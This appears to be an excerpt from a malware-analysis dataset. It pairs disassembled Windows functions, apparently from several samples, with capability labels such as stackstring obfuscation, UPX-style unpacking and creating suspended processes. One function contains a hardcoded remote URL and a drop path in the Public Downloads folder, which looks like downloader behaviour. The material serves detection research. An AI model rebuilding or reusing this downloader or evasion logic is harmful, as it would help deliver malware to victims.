joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402975
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41835f
call fcn.00404998
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x402992
xor eax, eax
jmp 0x4029ba
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x4029ca
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x4029ca
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x4029ea
mov ecx, esi
call fcn.0040199c
cmp dword [esi + 0x44], edi
jne 0x4029ef
push dword [esi + 0x54]
push ebx
call fcn.00401fe0
pop ecx
pop ecx
test al, al
jne 0x4029b7
or eax, 0xffffffff
jmp 0x4029b9
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00402528
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402aa2
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x402ac0
cmp eax, 1
jg 0x402aaa
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a56
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x402a7c
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x402a69
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.004056ba
add esp, 0x10
cmp edi, eax
jne 0x402ac0
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x402ad6
test edi, edi
jne 0x402a0e
cmp dword [ebp - 0x24], 0x20
jae 0x402ac0
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.0040241e
jmp 0x402a0e
mov edx, dword [ebp - 0x34]
jmp 0x402a20
cmp eax, 3
jne 0x402ac0
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.00401fe0
pop ecx
pop ecx
test al, al
jne 0x402ad6
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00401c28
mov eax, esi
jmp 0x4029b9
mov esi, dword [ebp + 8]
jmp 0x402ac3

Function at 0x402f38
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x14]
push eax
push 0x80000002
mov dword [ebp - 0x14], 0x54464f53
mov dword [ebp - 0x10], 0x45524157
mov dword [ebp - 0xc], 0x42444f5c
mov word [ebp - 8], 0x43
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x402fba
push esi
call fcn.004011a8
push 4
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push str.C:UsersPublicDownloadsindexx.ccp
push str.http:__yy.guanlix.cn:881_248.ccp
mov esi, eax
call fcn.00402e53
pop ecx
pop ecx
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call fcn.00401686
call fcn.00401203
pop esi
xor eax, eax
leave
ret
Function at 0x406615
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41f920]
jne 0x40661f
repz ret
jmp fcn.0040def8

Function at 0x4140c4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41f920]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040962c
and dword [ebp - 0x14], 0
cmp dword [0x421660], 0
mov dword [ebp - 0x18], eax
jne 0x414177
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41421f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41421f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x421660], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x421664], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x421668], eax
call edi
push eax
call esi
mov dword [0x421670], eax
test eax, eax
je 0x414177
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42166c], eax
mov eax, dword [0x42166c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4141d0
cmp dword [0x421670], ecx
je 0x4141d0
push eax
call esi
push dword [0x421670]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4141d0
test ebx, ebx
je 0x4141d0
call edi
test eax, eax
je 0x4141c7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4141c7
test byte [ebp - 8], 1
jne 0x4141d0
or dword [ebp + 0x10], 0x200000
jmp 0x414203
mov eax, dword [0x421664]
cmp eax, dword [ebp - 0x18]
je 0x414203
push eax
call esi
test eax, eax
je 0x414203
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x414203
mov eax, dword [0x421668]
cmp eax, dword [ebp - 0x18]
je 0x414203
push eax
call esi
test eax, eax
je 0x414203
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x421660]
call esi
test eax, eax
je 0x41421f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x414221
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406615
leave
ret
Function at 0xf27800
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xad2000]
push edi
jmp 0xf2781a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xf27821
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf27810
mov eax, 1
add ebx, ebx
jne 0xf27833
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xf27844
jne 0xf27863
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf27863
dec eax
add ebx, ebx
jne 0xf27850
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xf27828
add ebx, ebx
jne 0xf2785f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xf278b5
xor ecx, ecx
sub eax, 3
jb 0xf2787b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xf278ea
sar eax, 1
mov ebp, eax
jmp 0xf27886
add ebx, ebx
jne 0xf27886
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf27854
inc ecx
add ebx, ebx
jne 0xf27894
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf27854
add ebx, ebx
jne 0xf278a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xf27896
jne 0xf278b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xf27896
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xf278d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xf278c6
jmp 0xf27816
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xf278d4
add edi, ecx
jmp 0xf27816
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xf278f2
cmp byte [edi], 0x11
jne 0xf278f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xf278f7
lea edi, [esi + 0xb20000]
mov eax, dword [edi]
or eax, eax
je 0xf2796f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1578508]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1578684]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xf27924
mov ecx, edi
jns 0xf27953
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1578688]
or eax, eax
je 0xf27969
mov dword [ebx], eax
add ebx, 4
jmp 0xf27941
call dword [esi + 0x1578698]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xf279a0
cmp al, 0xef
ja 0xf27993
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xf27975
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xf27982
mov ebp, dword [esi + 0x157868c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xf279d4
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x405fba
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x473b4f
call fcn.00467ed8
push ecx
push ecx
mov al, byte [ebp - 0xd]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x14], esi
mov byte [esi + 0xc], al
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov al, byte [ebp - 0xd]
mov dword [ebp - 4], ebx
mov byte [esi + 0x1c], al
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov al, byte [ebp - 0xd]
mov dword [esi + 0x30], ebx
mov byte [esi + 0x2c], al
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x3c]
push ebx
mov byte [ebp - 4], 2
mov byte [ecx], al
call fcn.0040643e
mov al, byte [ebp - 0xd]
lea ecx, [esi + 0x4c]
push ebx
mov byte [ebp - 4], 3
mov byte [ecx], al
call fcn.0040643e
lea ecx, [esi + 0x70]
lea eax, [ebp - 0xd]
push ebx
mov byte [esi + 0x5c], bl
mov byte [esi + 0x5d], 1
push eax
mov byte [ebp - 4], 4
mov dword [ecx], 0x47e4b8
mov dword [ecx + 0x20], 0x47e4b0
call fcn.0040590e
mov ecx, dword [ebp - 0xc]
mov dword [esi], 0x47e544
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x409b75
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x473e77
call fcn.00467ed8
sub esp, 0xf0
and dword [ebp - 0x10], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x8c]
push eax
mov ecx, edi
call fcn.00407023
mov eax, dword [eax + 0xc]
mov esi, dword [ebp + 0x14]
and dword [ebp - 4], 0
push 1
cmp esi, eax
pop ebx
ja 0x409bc2
lea eax, [ebp - 0xb4]
mov ecx, edi
push eax
call fcn.00407023
mov esi, dword [eax + 0xc]
mov dword [ebp - 0x10], ebx
test byte [ebp - 0x10], bl
je 0x409bd2
lea ecx, [ebp - 0xb4]
call fcn.00407d51
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8c]
call fcn.00407d51
inc esi
push ebx
lea eax, [ebp - 0x10]
push esi
lea ecx, [edi + 4]
push eax
mov dword [ebp - 0x10], 0x5c
call fcn.00409cdb
cmp eax, 0xffffffff
je 0x409c90
mov edi, 0x47e4b8
mov esi, 0x47e4b0
lea ecx, [ebp + 0x17]
inc eax
push 0
push ecx
push eax
push 0
push dword [ebp + 8]
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], eax
call fcn.00405c82
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], ebx
call fcn.00406617
push eax
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x409c55
test al, 0x10
je 0x409c55
cmp dword [ebp + 0x10], 0
je 0x409c61
push dword [ebp - 0x10]
call dword [ebp + 0x10]
pop ecx
jmp 0x409c61
push 0
push dword [ebp - 0x10]
call dword [ebp + 0xc]
test eax, eax
je 0x409c9f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3c]
call fcn.00407d51
push ebx
lea eax, [ebp - 0x10]
push dword [ebp - 0x14]
mov dword [ebp - 0x10], 0x5c
push eax
mov eax, dword [ebp + 8]
lea ecx, [eax + 4]
call fcn.00409cdb
cmp eax, 0xffffffff
jne 0x409c0a
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
lea eax, [ebp + 0xb]
push 0
push eax
lea ecx, [ebp - 0x64]
push dword [ebp - 0x10]
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x44], esi
call fcn.00405ab2
lea eax, [ebp - 0x64]
push ebx
push eax
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 2
call fcn.00407dae
lea eax, [ebp - 0xfc]
push 0x481f58
push eax
call fcn.00467ef7
Function at 0x418679
Capabilities:
Get file attributes

Disassembly:
mov eax, 0x475354
call fcn.00467ed8
sub esp, 0x270
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov ecx, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], esi
call fcn.0041bac4
test al, al
je 0x4187ad
lea ecx, [ebp - 0x50]
call fcn.0041898b
push esi
push esi
push 3
push 0x80
push 1
push SysReAllocString
push ebx
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], esi
call fcn.00418a2f
cmp eax, esi
je 0x4186ed
push 1
push ebx
lea ecx, [ebp - 0x13c]
call fcn.00418886
lea eax, [ebp - 0x13c]
push 0x485550
push eax
call fcn.00467ef7
push 5
lea eax, [ebp - 0x5c]
pop edi
lea ecx, [ebp - 0x50]
push edi
push eax
mov byte [ebp - 4], 1
call fcn.0041c22e
cmp eax, esi
mov dword [ebp - 0x50], 0x47ed94
je 0x41872e
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 2
call fcn.00418ffc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.00407d51
mov al, 1
jmp 0x418877
mov dword [ebp - 4], edi
jmp 0x418773
lea ecx, [ebp - 0x50]
call fcn.00418ffc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.00407d51
xor al, al
jmp 0x418877
mov ecx, ebx
call fcn.00406617
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
or edi, 0xffffffff
cmp eax, edi
jne 0x41885c
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 5
jne 0x41882a
mov dword [ebp + 8], edi
lea eax, [ebp - 0x27c]
mov ecx, ebx
push eax
mov dword [ebp - 4], 6
call fcn.00406617
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, edi
je 0x418825
test byte [ebp + 0xc], 4
je 0x418805
test byte [ebp - 0x27c], 0x10
je 0x418814
test byte [ebp + 0xc], 8
je 0x418818
test byte [ebp - 0x27c], 0x10
je 0x418818
mov bl, 1
jmp 0x41881a
xor bl, bl
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, bl
jmp 0x418877
call esi
mov dword [ebp - 4], edi
cmp eax, 2
je 0x418787
cmp eax, 3
je 0x418787
push 1
push eax
push ebx
lea ecx, [ebp - 0xa4]
call fcn.0041c0bc
lea eax, [ebp - 0xa4]
push 0x481f58
push eax
call fcn.00467ef7
test byte [ebp + 0xc], 4
je 0x418866
test al, 0x10
je 0x418870
test byte [ebp + 0xc], 8
je 0x418875
test al, 0x10
je 0x418875
push 1
pop eax
jmp 0x418877
xor eax, eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4195d2
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, 0x475594
call fcn.00467ed8
sub esp, 0xc
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, ecx
mov eax, dword [edi + 0xc]
test eax, eax
je 0x4196ba
mov ecx, edi
call fcn.00406617
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
test al, al
jne 0x419611
push 3
pop eax
jmp 0x4196dc
mov eax, dword [ebp + 0x10]
mov byte [esi + 0x44], 1
test eax, eax
je 0x419635
mov eax, dword [eax]
test eax, eax
jbe 0x419635
lea edi, [esi + 0x3c]
mov dword [edi], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x419667
mov eax, dword [eax]
mov dword [esi + 0x40], eax
jmp 0x419667
and byte [ebp - 0x14], 0
and dword [ebp - 4], 0
mov ecx, edi
call fcn.00406617
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x10], eax
lea eax, [esi + 0x40]
lea edi, [esi + 0x3c]
push eax
push edi
call fcn.00406617
push eax
lea ecx, [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00419795
or dword [ebp - 4], 0xffffffff
push dword [ebp + 0x2c]
mov ecx, esi
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0xc]
call fcn.00418a2f
test eax, eax
mov dword [ebp + 0xc], eax
jne 0x4196d9
mov eax, dword [edi]
and dword [ebp - 0x14], 0
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], eax
push ecx
push 0
push eax
mov ecx, esi
call fcn.004196ec
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4196ac
mov ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4196d9
mov ecx, dword [esi + 0x40]
mov dword [eax], ecx
jmp 0x4196d9
push dword [ebp + 0x2c]
mov ecx, esi
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 8]
call fcn.00418a2f
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 0x28
Function at 0x41b1ad
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push esi
mov esi, ecx
push edi
cmp dword [esi + 4], 0
je 0x41b1f2
mov eax, dword [ebp + 8]
test eax, eax
je 0x41b1c7
and dword [eax], 0
mov ecx, dword [esi + 4]
mov eax, dword [ecx]
call dword [eax + 0x18]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41b24e
add esi, 0xc
push 1
push esi
lea ecx, [ebp - 0x4c]
call fcn.00418886
lea eax, [ebp - 0x4c]
push 0x485550
push eax
call fcn.00467ef7
push dword [ebp + 8]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x41b24e
cmp dword [ebp + 8], 0
jne 0x41b227
add esi, 0xc
push 1
push esi
lea ecx, [ebp - 0x48]
call fcn.00407dae
lea eax, [ebp - 0x48]
push 0x481f58
push eax
call fcn.00467ef7
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x41b24e
push 1
add esi, 0xc
push eax
push esi
lea ecx, [ebp - 0x48]
call fcn.0041c0bc
lea eax, [ebp - 0x48]
push 0x481f58
push eax
call fcn.00467ef7
mov eax, edi
pop edi
pop esi
leave
ret 4

Function at 0x41c22e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 0xffffffff
mov esi, ecx
jne 0x41c242
push 1
pop eax
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x41c276
lea edx, [ebp + 8]
push edx
push eax
push dword [ebp + 8]
call fcn.00463949
test al, al
jne 0x41c2a9
add esi, 0xc
push 1
push esi
lea ecx, [ebp - 0x4c]
call fcn.00418886
lea eax, [ebp - 0x4c]
push 0x485550
push eax
call fcn.00467ef7
lea ecx, [ebp + 8]
push 0
push ecx
push eax
push dword [ebp + 8]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41c2a9
add esi, 0xc
push 1
push esi
lea ecx, [ebp - 0x48]
call fcn.00407dae
lea eax, [ebp - 0x48]
push 0x481f58
push eax
call fcn.00467ef7
mov eax, dword [ebp + 8]
pop esi
leave
ret 8

Function at 0x41c2b1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [ebp + 0xc], 0xffffffff
push esi
mov esi, ecx
jne 0x41c2c4
and dword [ebp + 0xc], 0
lea eax, [ebp + 0xc]
push 0
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41c2f9
add esi, 0xc
push 1
push esi
lea ecx, [ebp - 0x48]
call fcn.00407dae
lea eax, [ebp - 0x48]
push 0x481f58
push eax
call fcn.00467ef7
mov eax, dword [ebp + 0xc]
pop esi
leave
ret 8
Function at 0x41d147
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x41d177
xor eax, eax
jmp 0x41d1d8
push esi
push edi
push 0x7f
xor eax, eax
pop ecx
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x200
lea eax, [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x208]
push esi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp dword [ebp + 8], ebx
jbe 0x41d1c5
movzx ecx, byte [ebp + eax - 0x208]
add dword [ebp - 4], ecx
inc eax
cmp eax, dword [ebp + 8]
jb 0x41d1b4
cmp dword [ebp + 8], esi
je 0x41d197
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x41dcd3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov ecx, dword [ebp + 0xc]
call fcn.00406617
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41dd0e
test al, 1
je 0x41dd0e
push 1
push 5
push dword [ebp + 0xc]
lea ecx, [ebp - 0x48]
call fcn.0041daf9
lea eax, [ebp - 0x48]
push 0x4864e8
push eax
call fcn.00467ef7
xor al, al
leave
ret
Function at 0x41ed46
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov eax, 0x475fcc
call fcn.00467ed8
sub esp, 0xb0
push ebx
push esi
push edi
push 0x10
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0xb8]
mov dword [ebp - 4], ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x78]
push eax
mov byte [ebp - 4], 1
mov dword [ebp - 0xbc], 0x44
call fcn.00420192
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 2
push ecx
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.004205d0
add esp, 0xc
lea ecx, [ebp - 0x28]
push 0x104
push ecx
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.00406c57
mov esi, eax
mov ecx, dword [esi]
mov byte [ebp - 4], 4
call fcn.00406617
lea ecx, [ebp - 0x1c]
mov dword [esi + 8], eax
push ecx
lea ecx, [ebp - 0xbc]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
lea ecx, [ebp - 0x28]
neg ebx
sbb bl, bl
mov byte [ebp - 4], 3
inc bl
call fcn.00405d74
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 2
call fcn.00407d51
lea ecx, [ebp - 0x78]
mov byte [ebp - 4], 1
call fcn.00407d51
pop edi
pop esi
test bl, bl
pop ebx
je 0x41ee26
lea ecx, [ebp - 0x44]
call fcn.00407e1a
lea eax, [ebp - 0x44]
push 0x4869b0
push eax
call fcn.00467ef7
push 0x3a98
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x41ee56
push 0x5b4
lea ecx, [ebp - 0x44]
call fcn.00414228
lea eax, [ebp - 0x44]
push 0x4869b0
push eax
call fcn.00467ef7
and byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.0041ee7c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.00407d51
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret 0x2c
Function at 0x420055
Capabilities:
Get common file path

Disassembly:
mov eax, 0x4761eb
call fcn.00467ed8
sub esp, 0x15c
and dword [ebp - 0x14], 0
push ebx
push esi
push edi
push 1
mov esi, 0x104
pop ebx
cmp dword [ebp + 0xc], ebx
jne 0x420100
push 0x496820
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x420100
push 0x496804
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [0x496800], eax
je 0x420100
lea ecx, [ebp - 0x168]
push esi
push ecx
call eax
test eax, eax
je 0x420100
lea eax, [ebp + 0xf]
push 0
push eax
lea eax, [ebp - 0x168]
mov edi, 0x47e4b8
mov esi, 0x47e4b0
push eax
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x64], edi
mov dword [ebp - 0x44], esi
call fcn.00405ab2
push 0x495d74
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], ebx
call fcn.00407248
mov ecx, dword [ebp + 8]
push 0
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00405983
mov dword [ebp - 0x14], ebx
and byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
jmp 0x42017b
lea eax, [ebp - 0x168]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x420128
lea ecx, [ebp - 0x30]
call fcn.00407e1a
lea eax, [ebp - 0x30]
push 0x4869b0
push eax
call fcn.00467ef7
lea eax, [ebp - 0xd]
push 0
push eax
lea eax, [ebp - 0x168]
mov edi, 0x47e4b8
mov esi, 0x47e4b0
push eax
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x1c], esi
call fcn.00405ab2
push 0x495d74
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 2
call fcn.00407248
mov ecx, dword [ebp + 8]
push 0
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.00405983
and byte [ebp - 4], 0
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x3c]
call fcn.00407d51
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret